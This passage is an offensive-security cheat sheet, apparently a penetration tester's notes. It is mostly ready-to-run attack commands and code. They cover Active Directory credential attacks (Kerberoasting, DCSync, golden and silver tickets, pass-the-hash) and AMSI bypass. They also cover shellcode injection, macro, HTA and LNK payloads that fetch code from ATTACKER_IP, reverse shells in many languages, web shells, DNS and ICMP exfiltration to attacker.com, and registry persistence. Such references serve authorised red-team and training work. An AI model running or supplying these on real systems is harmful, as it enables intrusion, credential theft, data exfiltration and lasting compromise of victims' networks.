export KRB5CCNAME=$(pwd)/USER.ccache
nxc smb PT01.asia.earth.local --use-kcache
Domain Enumeration#
Domain Information Gathering#
# Basic domain information
echo %USERDOMAIN%
echo %LOGONSERVER%
nltest /dclist:%USERDOMAIN%
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN.COM
# Using PowerShell
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-ADDomain
Get-ADForest
User and Group Enumeration#
# ldapsearch
ldapsearch -x -h DC_IP -D "user@domain.com" -w password -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName
# windapsearch
python3 windapsearch.py --dc-ip DC_IP -u user -p password --users
python3 windapsearch.py --dc-ip DC_IP -u user -p password --groups
python3 windapsearch.py --dc-ip DC_IP -u user -p password --computers
# NetExec
nxc ldap DC_IP -u user -p password --users
nxc ldap DC_IP -u user -p password --groups
nxc ldap DC_IP -u user -p password --computers
nxc ldap DC_IP -u user -p password --admin-count
PowerView#
Import-Module .\PowerView.ps1
# Domain
Get-Domain
Get-DomainController
# Users
Get-DomainUser
Get-DomainUser -Identity administrator
Get-DomainUser -Properties samaccountname,description,pwdlastset,logoncount
# Groups
Get-DomainGroup
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
# Computers
Get-DomainComputer -Properties name,operatingsystem,serviceprincipalname
# Trusts
Get-DomainTrust
Get-ForestTrust
BloodHound Collection#
# NetExec
nxc ldap DC_IP -u user -p password --bloodhound --collection All -ns DC_IP
# bloodhound-python
bloodhound-python -u user -p password -ns DC_IP -d domain.com -c All
# On-target SharpHound
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\
.\SharpHound.exe -c All -d domain.com --zipfilename bloodhound_data.zip
Credential Attacks#
AS-REP Roasting#
# Impacket
impacket-GetNPUsers domain.com/ -dc-ip DC_IP -no-pass -usersfile users.txt
impacket-GetNPUsers domain.com/user:password -dc-ip DC_IP -request
# NetExec
nxc ldap DC_IP -u user -p password --asreproast asrep_hashes.txt
# Crack hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
# Request AS-REP roastable users
Rubeus.exe asreproast /domain:asia.earth.local /user:targetuser /format:hashcat /outfile:asreproast.txt
Kerberoasting#
# Impacket
impacket-GetUserSPNs domain.com/user:password -dc-ip DC_IP -request
impacket-GetUserSPNs domain.com/user:password -dc-ip DC_IP -request-user service_account
# NetExec
nxc ldap DC_IP -u user -p password --kerberoasting kerberoast_hashes.txt
# Crack
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# Request Kerberoastable SPNs
Rubeus.exe kerberoast /domain:asia.earth.local /user:svcuser /rc4 /format:hashcat /outfile:kerberoast.txt
# After Rubeus ptt, confirm ticket is loaded
Rubeus.exe klist
# Confirm Kerberos is being used on SMB connection (should not prompt for creds)
dir \\<host>\C$
net view \\<host>
Password Spraying#
# NetExec SMB
nxc smb DC_IP -u users.txt -p 'Password123!' --continue-on-success
# LDAP
nxc ldap DC_IP -u users.txt -p 'Password123!' --continue-on-success
# Kerbrute
kerbrute passwordspray -d domain.com --dc DC_IP users.txt 'Password123!'
DCSync Attack#
# Impacket
impacket-secretsdump domain.com/user:password@DC_IP
impacket-secretsdump -just-dc-user administrator domain.com/user:password@DC_IP
# NetExec
nxc smb DC_IP -u user -p password --ntds
# Mimikatz
mimikatz "lsadump::dcsync /user:administrator"
mimikatz "lsadump::dcsync /user:krbtgt"
# Monitor for new logons
Rubeus.exe monitor /interval:5
# Use harvested TGTs for DCSync-like activity (requires DA/DC perms)
Rubeus.exe triage
RCE to TGT#
# file to convert ticket blobs to usable formats in linux or windows
cat k2c.py
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py
# https://github.com/fortra/impacket/blob/master/examples/describeTicket.py
import argparse
import struct
import base64
from impacket import version
from impacket.krb5.ccache import CCache
from impacket.krb5 import constants
def is_ccache( data: bytes ) -> bool:
fd = struct.unpack( ">B" , data[0:1] )[0]
return fd == 0x5
def is_kirbi( data: bytes ) -> bool:
fd = struct.unpack( ">B" , data[0:1] )[0]
return fd == 0x76
def main():
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="convert between your favorite ticket formats")
parser.add_argument(
"--input", "-i",
action="store",
help="Input file",
required=False
)
Raw = ""
Filetype = ""
args = parser.parse_args()
if args.input is None:
Raw = input().strip().encode()
else:
with open( args.input, 'rb' ) as f:
Raw = f.read().strip()
if Raw.startswith( b"doI" ):
Filetype = "b64kirbi"
if is_ccache( Raw ):
Filetype = "ccache"
if is_kirbi( Raw ):
Filetype = "kirbi"
match Filetype:
case "ccache":
ccache = CCache.loadFile( args.input )
kirbi = ccache.toKRBCRED()
print( base64.b64encode( kirbi ).decode() )
case _:
assert Filetype == "kirbi" or Filetype == "b64kirbi", "unknown ticket type"
ccache = CCache()
if Filetype == "kirbi":
ccache.fromKRBCRED( Raw )
elif Filetype == "b64kirbi":
kirbi = base64.b64decode( Raw )
ccache.fromKRBCRED( kirbi )
if len( ccache.credentials ) > 1:
print( f"more than one credential found, returning first one" )
principal = ccache.credentials[ 0 ][ 'client' ].prettyPrint().split( b'@' )[ 0 ].decode( 'utf-8' )
spn = ccache.credentials[ 0 ][ 'server' ].prettyPrint().split( b'@' )[ 0 ].decode( 'utf-8' )
flags = []
for k in constants.TicketFlags:
if ((ccache.credentials[0]['tktflags'] >> (31 - k.value)) & 1) == 1:
flags.append(constants.TicketFlags(k.value).name)
print( f"[*] {principal} -> {spn} [ {', '.join(flags)} ]" )
with open( f"{ principal }@{ spn.replace( '/', '_' ) }.ccache", 'wb' ) as f:
f.write( ccache.getData() )
print( f"[+] export KRB5CCNAME='{ principal }@{ spn.replace( '/', '_' ) }.ccache' && nxc smb ... --use-kcache" )
if __name__ == '__main__':
main()
# convert tgt to kerberos cache file that is usable in linux
> python3 k2c.py
# > input goes here
doI[...snip...]BTA==
[*] Jacob_REYNOLDS -> krbtgt/ASIA.EARTH.LOCAL [ forwardable, forwarded, renewable, pre_authent, enc_pa_rep ]
[+] export KRB5CCNAME='Jacob_REYNOLDS@krbtgt_ASIA.EARTH.LOCAL.ccache' && nxc smb ... --use-kcache
# try using the cache file to authenticate
> export KRB5CCNAME='Jacob_REYNOLDS@krbtgt_ASIA.EARTH.LOCAL.ccache'
> nxc smb fs01.asia.earth.local --use-kcache
# convert ccache back to format that can be imported on Windows
> python3 k2c.py --input Jacob_REYNOLDS@krbtgt_ASIA.EARTH.LOCAL.ccache
doIF7jCCBeqgAwIBBaEDAgEWooIE4TCCBN1hggTZMIIE1aADAgEFoRIbEEFTSUEuRUFSVEguTE9DQUyiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEEFTS[..snip...]==
# on windows machine
PS C:\windows\tasks> .\Rubeus.exe ptt /ticket:doIFp[...snip...]BTA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
Advanced AD Attacks#
Golden Ticket Attack#
# Obtain krbtgt hash (requires Domain Admin)
.\mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit"
# Create Golden Ticket
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:HASH /ptt" "exit"
# Verify ticket
klist
# Access domain resources
dir \\DC\C$
Silver Ticket Attack#
# Obtain service account hash
.\mimikatz.exe "sekurlsa::logonpasswords" "exit"
# Create Silver Ticket for specific service
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /target:server.domain.com /service:cifs /rc4:HASH /ptt" "exit"
# Access specific service
dir \\server.domain.com\C$
Constrained Delegation Abuse#
# Find computers with constrained delegation
impacket-findDelegation domain.com/user:password -dc-ip DC_IP
# Abuse constrained delegation
impacket-getST -spn cifs/target.domain.com domain.com/service_account:password -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass administrator@target.domain.com
# Using Rubeus
.\Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
Unconstrained Delegation Abuse#
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained
# Monitor for TGTs (requires admin on unconstrained delegation computer)
.\Rubeus.exe monitor /interval:5 /filteruser:target_user
# Extract TGT when target user authenticates
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Force authentication using SpoolSample
.\SpoolSample.exe DC_IP UNCONSTRAINED_COMPUTER_IP
Resource-Based Constrained Delegation (RBCD)#
# Create new computer account
.\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# Configure RBCD on target computer
Set-ADComputer TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKE01$
# Perform S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/TARGET_COMPUTER /ptt
# Access target
dir \\TARGET_COMPUTER\C$
ACL Abuse#
# Find interesting ACLs with PowerView
Invoke-ACLScanner -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "user"}
# Exploit WriteDACL permission
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity user -Rights DCSync
# Exploit GenericAll on user
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $SecPassword
# Exploit GenericAll on group
Add-DomainGroupMember -Identity "Domain Admins" -Members user
# Exploit WriteOwner
Set-DomainObjectOwner -Identity target_object -OwnerIdentity user
Group Policy Abuse#
# SYSVOL enumeration
smbclient //DC_IP/SYSVOL -U user%password
grep -r "cpassword" /mnt/sysvol/ --include="*.xml"
# Decrypt
gpp-decrypt <ENCRYPTED_PASSWORD>
Lateral Movement#
Pass-the-Hash#
# Using impacket tools
impacket-psexec -hashes LM:NT user@TARGET_IP
impacket-wmiexec -hashes LM:NT user@TARGET_IP
impacket-smbexec -hashes LM:NT user@TARGET_IP
impacket-atexec -hashes LM:NT user@TARGET_IP "whoami"
# Using NetExec
nxc smb TARGET_IP -u user -H NT_HASH -x "whoami"
nxc winrm TARGET_IP -u user -H NT_HASH -x "whoami"
# Using evil-winrm
evil-winrm -i TARGET_IP -u user -H NT_HASH
Pass-the-Ticket#
# Export tickets with Mimikatz
.\mimikatz.exe "sekurlsa::tickets /export" "exit"
# Import ticket
.\mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
# Using Rubeus
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt
.\Rubeus.exe ptt /ticket:BASE64_TICKET
# Verify ticket
klist
Overpass-the-Hash#
# Using Mimikatz
.\mimikatz.exe "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:HASH /run:cmd.exe" "exit"
# Using Rubeus
.\Rubeus.exe asktgt /user:administrator /rc4:HASH /domain:domain.com /ptt
Remote Code Execution#
# WMI execution
impacket-wmiexec domain/user:password@TARGET_IP
nxc smb TARGET_IP -u user -p password -x "whoami" --exec-method wmiexec
# Service creation and execution
impacket-psexec domain/user:password@TARGET_IP
nxc smb TARGET_IP -u user -p password -x "whoami" --exec-method smbexec
# Scheduled task execution
impacket-atexec domain/user:password@TARGET_IP "whoami"
nxc smb TARGET_IP -u user -p password -x "whoami" --exec-method atexec
# DCOM execution
impacket-dcomexec domain/user:password@TARGET_IP
nxc smb TARGET_IP -u user -p password -x "whoami" --exec-method dcomexec
# PowerShell remoting
$session = New-PSSession -ComputerName TARGET_IP -Credential $cred
Invoke-Command -Session $session -ScriptBlock {whoami}
# WMI via PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd /c whoami" -ComputerName TARGET_IP -Credential $cred
# DCOM via PowerShell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET_IP"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","Minimized")
Network Pivoting & Tunnelling#
SSH Tunnelling#
Local Port Forwarding#
# Forward local port 8080 → target:80 via pivot
ssh -L 8080:TARGET_IP:80 user@PIVOT_HOST
# Access: http://localhost:8080
# Background execution
ssh -f -N -L 8080:TARGET_IP:80 user@PIVOT_HOST
# Multiple forwards
ssh -L 8080:TARGET1:80 -L 8443:TARGET2:443 -L 3389:TARGET3:3389 user@PIVOT_HOST
# Bind to external interface (careful – exposes service!)
ssh -L 0.0.0.0:8080:TARGET_IP:80 user@PIVOT_HOST
Dynamic SOCKS Proxy#
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@PIVOT_HOST
# Background execution
ssh -f -N -D 1080 user@PIVOT_HOST
# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Use tools through proxy
proxychains nmap -sT -Pn TARGET_IP
proxychains curl http://TARGET_IP
proxychains firefox
Remote Port Forwarding#
# Pivot’s port 8080 → your localhost:80
ssh -R 8080:localhost:80 user@PIVOT_HOST
# On pivot host
curl http://localhost:8080
# Reverse shell via remote forward
nc -lvnp 4444 # listener on attacker
ssh -R 4445:localhost:4444 user@PIVOT_HOST
# On internal target: connect to pivot:4445 → delivered to your listener
Ligolo-ng Tunneling#
# 1. Setup on attacker machine
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# 2. Deploy agent on compromised host
# Windows
certutil -urlcache -f http://ATTACKER_IP/agent.exe agent.exe
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
# Linux
wget http://ATTACKER_IP/agent -O agent
chmod +x agent
./agent -connect ATTACKER_IP:11601 -ignore-cert
# 3. Configure routing
# In ligolo-ng proxy shell
session
ifconfig
start --tun ligolo
# Add routes on attacker machine
sudo ip route add 192.168.1.0/24 dev ligolo
# 4. Port forwarding via tunnel
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp
listener_list
# 5. Multi-hop pivoting
# Deploy agent from first pivot to reach deeper networks
Chisel Tunneling#
# 1. Reverse SOCKS proxy
# Attacker (server)
./chisel server -p 8000 --reverse
# Victim (client)
./chisel client ATTACKER_IP:8000 R:1080:socks
# Configure proxychains: socks5 127.0.0.1 1080
# 2. Reverse port forwarding
# Attacker
./chisel server -p 8000 --reverse
# Victim: forward target:80 → attacker:8080
./chisel client ATTACKER_IP:8000 R:8080:TARGET_IP:80
# 3. Local port forwarding
# Attacker
./chisel server -p 8000
# Victim
./chisel client ATTACKER_IP:8000 8080:TARGET_IP:80
Metasploit Pivoting#
# 1. Set up autoroute (adds target subnet to route table)
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0/24
run
# 2. Create SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
# 3. Port forwarding
portfwd add -l 8080 -p 80 -r TARGET_IP
# 4. Manage routes
route print
route add 192.168.1.0/24 SESSION_ID
route delete 192.168.1.0/24 SESSION_ID
Anti-Virus Evasion & Payload Obfuscation#
AMSI Bypass Techniques#
# 1. AMSI context nullification (commonly used, still works in some environments)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
# 2. Execution policy bypass (basic, OPSEC low)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(Get-Content script.ps1 -Raw)"
# 3. Obfuscated AMSI bypass (simple string trick)
$a = 'System.Management.Automation.A'+'msiUtils'
$b = [Ref].Assembly.GetType($a)
$c = $b.GetField('amsiContext','NonPublic,Static')
$c.SetValue($null, [IntPtr]::Zero)
PowerShell Obfuscation#
# String concatenation
$cmd = 'Invoke-'+'Expression'; & $cmd "whoami"
# Character substitution
$cmd = 'Invoke-Expression'.Replace('s','s'); & $cmd "whoami"
# Base64 encoded commands
$bytes = [System.Text.Encoding]::Unicode.GetBytes("whoami")
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
# Variable obfuscation
${`w`h`o`a`m`i} = "whoami"; & ${`w`h`o`a`m`i}
# Invoke-Obfuscation framework (community tool)
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
Payload Encoding Techniques#
# Base64
echo -n "payload" | base64
echo "cGF5bG9hZA==" | base64 -d
# Hex
echo -n "payload" | xxd -p
echo "7061796c6f6164" | xxd -r -p
# URL
python3 -c "import urllib.parse; print(urllib.parse.quote('payload'))"
# ROT13
echo "payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# XOR
python3 -c "
payload = b'your_payload_here'
key = b'key'
print(bytes([payload[i] ^ key[i % len(key)] for i in range(len(payload))]).hex())
"
Living Off The Land Binaries (LOLBins)#
File Download#
# CertUtil (deprecated in Win11, often blocked)
certutil -urlcache -split -f http://ATTACKER_IP/payload.exe payload.exe
# PowerShell (commonly monitored)
Invoke-WebRequest -Uri http://ATTACKER_IP/payload.exe -OutFile payload.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/payload.exe','payload.exe')
# BitsAdmin (deprecated, still useful)
bitsadmin /transfer job http://ATTACKER_IP/payload.exe %TEMP%\payload.exe
# Curl (native in Win10+)
curl http://ATTACKER_IP/payload.exe -o payload.exe
# XMLHTTP COM object
powershell -c "$x=New-Object -ComObject Msxml2.XMLHTTP; $x.open('GET','http://ATTACKER_IP/payload.exe',$false); $x.send(); [IO.File]::WriteAllBytes('payload.exe',$x.ResponseBody)"
Code Execution#
# Rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://ATTACKER_IP/payload.sct")
# Regsvr32
regsvr32 /s /n /u /i:http://ATTACKER_IP/payload.sct scrobj.dll
# Mshta
mshta http://ATTACKER_IP/payload.hta
mshta javascript:a=GetObject("script:http://ATTACKER_IP/payload.sct").Exec();close()
# InstallUtil
InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
# MSBuild
MSBuild.exe payload.xml
# Cmstp
cmstp /ni /s payload.inf
# Forfiles (execute arbitrary command)
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
# WMIC
wmic process call create "calc.exe"
wmic os get /format:"http://ATTACKER_IP/payload.xsl"
Advanced Payload Techniques#
In-Memory Execution#
# Shellcode injection via VirtualAlloc + CreateThread
$code = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
}
"@
Add-Type $code
$shellcode = [Convert]::FromBase64String("SHELLCODE_BASE64")
$mem = [Kernel32]::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x1000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
[Kernel32]::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]0)
# Process injection
$processId = (Get-Process notepad).Id
# -> Allocate + WriteProcessMemory + CreateRemoteThread
# DLL injection
$dllPath = "C:\temp\evil.dll"
$processId = (Get-Process notepad).Id
# -> LoadLibraryA in remote process
Polyglot Files#
# Image + EXE polyglot
cat image.jpg payload.exe > polyglot.jpg
# ZIP/JAR polyglot
echo 'PK' > polyglot.zip; cat payload.exe >> polyglot.zip
# PDF with embedded JS
# Use PDF toolkit to embed JavaScript payload
Steganography#
# Hide in image
steghide embed -cf image.jpg -ef payload.exe -p password
steghide extract -sf image.jpg -p password
# LSB encoding
python3 lsb_steganography.py hide image.png payload.txt output.png
# DNS-based covert channel
dnscat2 / iodine for tunneling payloads
Payload Delivery Methods#
Macro-Enabled Documents#
' Excel 4.0 macro
=EXEC("calc.exe")
' VBA + WMI
Sub AutoOpen()
Set objWMIService = GetObject("winmgmts:")
Set objProcess = objWMIService.Get("Win32_Process")
objProcess.Create "calc.exe"
End Sub
' Stomped macros (remove VBA source, keep p-code)
HTA (HTML Application)#
<html>
<script language="VBScript">
Set s = CreateObject("WScript.Shell")
s.Run "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')",0,False
window.close()
</script>
</html>
LNK Files#
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("document.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
$Shortcut.Save()
ISO/VHD Files#
# Create ISO with payload (bypass MOTW)
mkisofs -o payload.iso /path/to/payload/
# Create VHD file with malicious executable
General Offensive Techniques#
Reverse Shells#
Linux Reverse Shells#
# 1. Bash TCP (classic)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Alternate Bash file descriptor trick
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# 2. Netcat variations
nc -e /bin/bash ATTACKER_IP 4444 # works only if -e supported
nc -c /bin/bash ATTACKER_IP 4444 # alternative syntax
# FIFO trick (bypasses nc without -e)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# 3. Python
python -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; subprocess.call(["/bin/sh","-i"])'
# 4. Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# 5. PHP
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# 6. Ruby
ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# 7. Socat (preferred, stable PTY)
socat tcp-connect:ATTACKER_IP:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane
# 8. Awk (not in original, worth adding)
awk 'BEGIN {s="/inet/tcp/0/ATTACKER_IP/4444"; while(1){do{printf "shell> "; getline c < "-" } while(c==""); if(c=="exit") exit; print "| " c |& s; while((s |& getline res) > 0) print res; close(s)}}'
Windows Reverse Shells#
# 1. PowerShell TCP reverse shell (multi-line)
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$stream.Write(([Text.Encoding]::ASCII).GetBytes($sendback2),0,$sendback2.Length)
$stream.Flush()
}
# 2. One-liner
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$s.Write(([Text.Encoding]::ASCII).GetBytes($r2),0,$r2.Length);$s.Flush()}"
# 3. Netcat for Windows
nc.exe -e cmd.exe ATTACKER_IP 4444
# 4. Base64-encoded PowerShell payload
$command = '<PS reverse shell script>'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
# 5. MSF Web Delivery (dynamic)
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
exploit
# 6. CLM bypass trick
&([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sI...'))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
Web Shells#
# 1. Simple PHP web shell
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php eval($_POST['cmd']); ?>
# 3. ASP web shell
<%
Set o=Server.CreateObject("WScript.Shell")
Set e=o.Exec(Request.QueryString("cmd"))
Response.Write(e.StdOut.ReadAll())
%>
# 4. JSP web shell
<%@ page import="java.io.*" %>
<%
String c=request.getParameter("cmd");
if(c!=null){
Process p=Runtime.getRuntime().exec(c);
BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; while((line=r.readLine())!=null){ out.println(line+"<br>"); }
}
%>
# 5. Python web shell (Flask)
from flask import Flask, request
import subprocess
app=Flask(__name__)
@app.route('/')
def s():
c=request.args.get('cmd')
if c:
r=subprocess.run(c,shell=True,capture_output=True,text=True)
return f"<pre>{r.stdout}{r.stderr}</pre>"
return "Python Web Shell"
app.run(host='0.0.0.0',port=5000)
File Transfer Techniques#
Base64 Transfer#
# Windows
certutil -encode id_ecdsa id_ecdsa.b64
type id_ecdsa.b64
# copy output to linux and decode
# Linux
base64 -d id_ecdsa.b64 > id_ecdsa
chmod 600 id_ecdsa
HTTP Transfer#
# 1. Python HTTP server
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
# 2. Apache/Nginx
sudo service apache2 start
sudo cp payload.exe /var/www/html/
# 3. PHP built-in server
php -S 0.0.0.0:80
# 4. Ruby HTTP server
ruby -run -e httpd . -p 80
# 5. Node.js HTTP server
npx http-server -p 80
Target Download Methods#
# Linux targets
wget http://ATTACKER_IP/file
curl http://ATTACKER_IP/file -o file
fetch http://ATTACKER_IP/file # FreeBSD
# Using /dev/tcp (if available)
exec 3<>/dev/tcp/ATTACKER_IP/80
echo -e "GET /file HTTP/1.0\r\n\r\n" >&3
cat <&3 > file
# Using telnet
telnet ATTACKER_IP 80
GET /file HTTP/1.0
# Windows targets
Invoke-WebRequest -Uri http://ATTACKER_IP/file -OutFile file
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/file','file')
wget http://ATTACKER_IP/file -O file
curl http://ATTACKER_IP/file -o file
certutil -urlcache -f http://ATTACKER_IP/file file
bitsadmin /transfer job http://ATTACKER_IP/file C:\temp\file
SMB Transfer#
# 1. Setup SMB server (Impacket)
impacket-smbserver share $(pwd) -smb2support
impacket-smbserver share $(pwd) -smb2support -username user -password pass
# 2. Anonymous SMB server with specific directory
impacket-smbserver -smb2support share /path/to/files
# 3. Access from Windows target
net use \\ATTACKER_IP\share
copy \\ATTACKER_IP\share\file.exe .
dir \\ATTACKER_IP\share
FTP Transfer#
# 1. Python FTP server
python3 -m pyftpdlib -p 21 -w
# 2. Pure-FTPd setup
sudo pure-ftpd -j -A -l puredb:/etc/pure-ftpd/pureftpd.pdb
# 3. FTP client transfer
ftp ATTACKER_IP
# ftp> binary
# ftp> get file
# ftp> put file
SCP/SFTP Transfer#
# 1. Upload to target
scp file user@TARGET_IP:/tmp/
# 2. Download from target
scp user@TARGET_IP:/path/to/file .
# 3. SFTP transfer
sftp user@TARGET_IP
# sftp> put file
# sftp> get file
DNS Exfiltration#
# 1. Base64 encode and exfiltrate via DNS
cat file | base64 | while read line; do nslookup $line.attacker.com; done
# 2. Using dnscat2
# Server
./dnscat2-server.rb attacker.com
# Client
./dnscat2-client attacker.com
# 3. Manual DNS exfiltration
for i in $(cat secrets.txt | base64 | tr -d '\n' | fold -w63); do
nslookup $i.attacker.com 8.8.8.8
done
ICMP Exfiltration#
# 1. Using ping for data exfiltration
# Encode data in ping packets
for i in $(cat file | xxd -p -c 16); do
ping -c 1 -p $i ATTACKER_IP
done
# 2. ptunnel for ICMP tunneling
# Server
sudo ptunnel -x password
# Client
sudo ptunnel -p ATTACKER_IP -lp 8080 -da TARGET_IP -dp 22 -x password
Persistence Techniques#
Registry Persistence#
# 1. Run keys (User level)
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\temp\payload.exe"
# 2. Run keys (System level)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\temp\payload.exe"
# 3. RunOnce keys
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Update" /t REG_SZ /d "C:\temp\payload.exe"
# 4. Services registry
reg add "HKLM\SYSTEM\CurrentControlSet\Services\MyService" /v "ImagePath" /t REG_EXPAND_SZ /d "C:\temp\payload.exe"
# 5. Winlogon registry
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\temp\payload.exe"
# 6. Image File Execution Options
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v "Debugger" /t REG_SZ /d "C:\temp\payload.exe"
Scheduled Tasks#
# Run payload.exe at user logon
schtasks /create /sc onlogon /tn "Updater" /tr "C:\temp\payload.exe"
# Run every 5 minutes
schtasks /create /sc minute /mo 5 /tn "Updater" /tr "C:\temp\payload.exe"
# Check scheduled tasks
schtasks /query /fo LIST /v
File System Persistence#
